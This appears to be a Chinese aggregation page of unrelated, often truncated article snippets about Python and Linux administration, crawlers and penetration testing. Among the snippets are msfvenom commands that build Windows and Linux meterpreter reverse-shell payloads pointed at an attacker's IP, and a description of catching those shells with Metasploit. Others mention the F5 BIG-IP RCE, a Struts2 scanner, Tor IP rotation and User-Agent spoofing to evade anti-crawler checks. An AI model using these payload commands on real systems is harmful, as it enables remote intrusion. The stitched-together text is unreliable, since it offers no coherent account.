由于最近学习tensorflow的需要,tensorflow是在Linux环境下,使用的是Python。为了方便程序的调试,尝试在Windows下的Pycharm远程连接到虚拟机中Centos下的Python环境。(这里我采用的是ssh的远程连接)
切片主要就是针对获取列表中部分或者单个元素的方法,通过下标访问列表中的元素,下标从0开始计数
由于最近学习python的需要,为了方便程序的调试,尝试在Windows下的Pycharm远程连接到虚拟机中Centos下的python环境。(这里我采用的是ssh的远程连接) 1、准备工作: 固定centos的IP,这里我的固定IP为 192.168.254.128 。 centos中安装ssh。(这里我采用的是ssh的远程连接) centos中Python环境已安装。 2、打开Pycharm,File—>Settings—>Project—>Project Interpreter 选择Add Remote,如下图所示
无非就是A连B热点然后通过局域网的WLAN的WiFi信号或者蓝牙信号传输文件,其中,不考虑扫一扫功能和定位判断功能,A连B热点然后访问B指定的http站点即可读取指定文件(或者通过目录寻找到指定文件)。
相信大家应该都接触过Linux操作系统(Ubuntu、Centos等),那么在使用的Linux操作系统需要使用一些远程ssh工具,尤其是公网服务器。
1、两台云服务器,一台升级为主机安全专业版或者旗舰版(暴力破解阻断功能需要专业版或者旗舰版)
基于tor匿名网络的多ip爬虫.更换ip的方式有多种,其中tor这类型则适合ip更换次数不大,网页数据量也不大,但是又厌恶代理那天天失效的麻烦,则最简单快捷的便是使用tor在本机搭建一个出口端口,让需要更换ip的爬虫程序制定proxies指向的端口.简单而且快捷,可使用的ip池子总数1000左右,实际中有500左右可以使用,匿名性当然不用质疑了.
之前在某乎上看见一篇关于《为什么很多程序员都建议使用 Linux》的文章,结合我自身关于Linux的使用经验。心血来潮得写了一段关于我在Linux系统部署爬虫程序的心得,希望结识更多的爬虫技术大佬,一起游弋在代码世界中。
上一篇博客:我们实现了局域网下的QQ互联通信:自己动手打造mini型QQ(一):动手实现局域网仿QQ互联 本篇博客我们把通信范围拓展到整个互联网
有一些网站不喜欢被爬虫程序访问,所以会检测连接对象,如果是爬虫程序,也就是非人点击访问,它就会不让你继续访问,所以为了要让程序可以正常运行,需要隐藏自己的爬虫程序的身份。此时,我们就可以通过设置User Agent的来达到隐藏身份的目的,User Agent的中文名为用户代理,简称UA。
@朱嘉盛大佬考虑到当前在国内华为较为主流,也用 Windows 系统,尝试用华为的真机或者 eNSP 模拟器,把书中提及的实验做一做,方便大家学习记录,方便交流。
1.Linux下python3 的安装 1.1下载python3的源码包 # Linux下执行 # 版本可自主选定 # wget https://www.python.org/ftp/python/3.6.7/Python-3.6.7.tar.xz 1.2解压源码包到 /opt 目录下 1.3安装 python3 所需要的软件依赖,等待全部完成再执行下一步 # Linux下执行,直接复制,yum下载,注意空格 yum install gcc patch libffi-devel python-devel
在 Web 开发领域,Java 凭借企业级支持以及世界丰富的生态环境成为绝对霸主,PHP 紧随其后。有些公司考虑效率问题而采用 C++ 做后台开发语言, 也有人使用 Node.js 开发后台。
F5 BIG‐IP 是美国 F5 公司的一款集成了网络流量管理、应用程序安全管理、负载均衡等功能的应用交付平台。2020年7月1日,F5官方公布流量管理用户界面(TMUI)存在 前台远程执行代码(RCE)漏洞(CVE‐2020‐5902)。攻击者利用该漏洞,构造恶意请求,在未授权的情况下获得目标服务器的权限,实现远程代码执行。
原作者及原文链接:https://blog.csdn.net/c406495762/article/details/60137956
使用python的zabbix_api模块,以下是简单的zabbix api的使用
在Linux中经常使用ifconfig,route和netstat查看网络状态,它们就是. net-tools工具,下面我来使用下。
这个是通过先ping,之后在arp -a ip 来获取mac地址,这种方式需要拿到数据后自行去通过正则匹配mac地址,演示的为window上的匹配,linux需要自行修改匹配规则
教程目的: 帮助小白用户,快速学会安装宝塔控制面板,并通过宝塔控制面板快速搭建建站环境。 所需材料: 云服务器一台,系统要选用Linux的,Linux相比win系统省配置:建议使用阿里云服务器,稳定
@弈心大佬的实验主要是基于 linux 系统、思科设备或 GNS3 模拟器完成。这里小编采用eve-ng+linux来模拟。
见过很多获取服务器本地IP的代码,个人觉得都不是很好。从网上搜索到一个靠谱的脚本,分享一下!
有可能小批量任务看不出明显差别,但是大批量执行,python多线程脚本是shell脚本使用的一半时间
Windows: msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST= 攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe Linux: msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻
msf作为一款强大的漏洞检测工具,如何生成适用于msf的payload以及如何利用是使用msf的关键,今天就主要记录一下常用的payload以及如何使用。生成payload使用的工具是MSFVenom,下面看看他的帮助信息。
本文介绍了如何利用Python的requests库和BeautifulSoup库,对给定的网页进行抓取,获取到网页中的一些信息,并对这些信息进行解析和处理。具体实现包括利用requests库发起HTTP请求,获取到网页的HTML内容;利用BeautifulSoup库对HTML内容进行解析,提取出所需的信息;以及对提取的信息进行格式化处理。最后,介绍了如何使用代理IP池和自定义User-Agent池来对爬虫程序进行伪装,避免被网站发现。
python -m SimpleHTTPServer 可以开启一个http服务器,默认端口是8000,-m选项指示python将module作为脚本运行。这样就可以共享一台linux上的某个文件夹,在对应的文件夹下运行上面的命令,其他linux主机就可以通过http访问这个目录,进行下载。
工具地址https://github.com/Vancomycin-g/Struts2Scan/ 里面有两个工具,一个是python编写的工具,另一个是jar文件 python工具是改变大佬的。jar文件是在网络上找的。
Introducing Python and Guest Shell on IOS-XE 16.5
基于 Python 开发的 Web 应用(Django、Flask、Tornado 等)基本上都是部署在 Linux 服务器上的。鉴于 Linux 上部署 Python 应用的便利性,这是大多数项目推荐的部署方式,也是大多数人的选择。
本文介绍了如何在Windows操作系统上通过浏览器来远程访问Linux服务器上的Jupyter Notebook,以便进行Python和Spark编程。首先介绍了安装和配置Jupyter Notebook和Spark的必要步骤,然后阐述了如何在浏览器中访问Linux服务器上的Jupyter Notebook。
刚开始学习Python,用Python写了一个获取Linux服务器信息的脚本,在debian和centos上测试通过。首先需要安装一个psutil库,在安装psutil之前需要安装python的开发工具包
linux很少用图形界面,都是用命令行,使用。可以把服务当成一台没有图形界面的自己的电脑。
无需在被监控主机上安装代理,一键对Linux远程服务器不同主机执行性能监控、性能数据采集命令,并实时展示
最近一次工作中,涉及python与.net core,应用开发完成,自然就需要在服务器上部署。
昨天同事反馈了一个问题,原本的办公机环境中的虚拟机是可以对外暴露办公机的IP,提供相应的数据库运维API服务,比如办公机的IP是192.168.10.100,而虚拟机使用virtualbox,使用了主机模式,IP可能是192.168.56.100,那么192.168.56.100上面的API服务可以对外使用192.168.10.100来访问。一般开发环境测试完成之后,就推送到GitLab,经过验证就发布了,所以测试有测试的相关服务,线上有线上的相关服务,IP方式模式都是相对固定的。
正常情况下,如果想要查看电脑的网卡IP地址或是MAC地址,直接通过界面找到网卡进行查看就有了,亦或是通过命令如linux的ifconfig得到IP等信息,那么本节教大家如何通过python的方式获取网卡的IP/MAC信息。
三个版本均需提供fofa的有效cookie,不然无法进行爬取,也就是说必须有fofa的会员
发现整个渗透流程中,分享和总结是最耗心力的,既要整理思路和想法,又要让整个流程通顺符合逻辑。但是分享是学习的老师,一切都是值得的,不多废话了,直接上主题,哈哈哈。
通常 Metasploit 最有用(对于初学者来说被低估)的功能之一是 msfpayload 模块。可以使用此模块创建多个有效负载,它有助于在几乎任何情况下为您提供外壳。对于这些有效负载中的每一个,您都可以进入 msfconsole 并选择exploit/multi/handler。为使用的相关负载运行“设置负载”并配置所有必要的选项(LHOST、LPORT 等)。执行并等待有效负载运行。对于下面的示例,它是不言自明的,但 LHOST 应填写您的 IP 地址(如果在网络内进行攻击,则为 LAN IP,如果通过 Internet 进行攻击,则为 WAN IP),并且 LPORT 应该是您希望重新连接的端口。
linux系统、常用命令、应用软件(特别是nginx,tomcat,redis,mysql)、shell
Linux传输文件时,除了ssh和scp、ftp常见的方法外,Python下SimpleHTTPServer小工具也可以快捷的进行传输。
备注:所以使用的操作系统环境为CentOS 6.2 编译安装python 2.7及ipython 1、下载所需要的程序包 ipython-1.2.1.tar.gz Python-2.7.6.tar.xz # 请从官网下载指定的程序包。 2、使用yum安装readline程序包 ~ ]# yum -y install readline-devel 如果不安装这个程序包,有可能导致python交互界面无法使用删除键”Backspace” 3、安装gcc包,为编译python做准备 ~ ]# yum -y ins
三、用Backtrack 5 R1中的W3AF(Web应用扫描器或者叫做安全审计工具)
继上一章讲述如何在CDH集群安装Anaconda&搭建Python私有源后,本章节主要讲述如何使用Pyton Impyla客户端连接CDH集群的HiveServer2和Impala Daemon,并进行SQL操作。
当前有很多工具辅助大数据分析,但最受环境的就是Python。Python简单易用,语言有着直观的语法并且提供强大的科学计算和集群学习库。借着最近人工智能,深度学习的兴起,Python成为时下最火的语言,已经超越了Java和C,并且纳入了国家计算机等级考试。本篇文章主要讲述如何在CDH集群基于Anaconda安装包部署Python3.6.1的运行环境,并使用PySpark作业验证Python3环境的可行性。
0x01. 前言 emmmmmmm...你只需知道这是一门用途很广的语言,上到大数据AI,下到Linux运维,都可以使用Python,当然,黑客也用Python。 0x02. 环境安装 学习Python之前,希望你具备了一定的Linux基础,一定的C语言基础,所有的操作都是在Linux上完成,Python的版本是Python3 (注:Python2将在2020年停止支持)。 为啥是在Linux上? 因为Windows有大量的非ASCII字符,举个栗子:比如英文的|
最近在做安全基线检查相关的,网上有一些代码比较零散;也有一些比较完整的项目,比如owasp中的安全基线检查项目,但是收费;还有一些开源且完整的,比如lynis,但是不符合我的要求。
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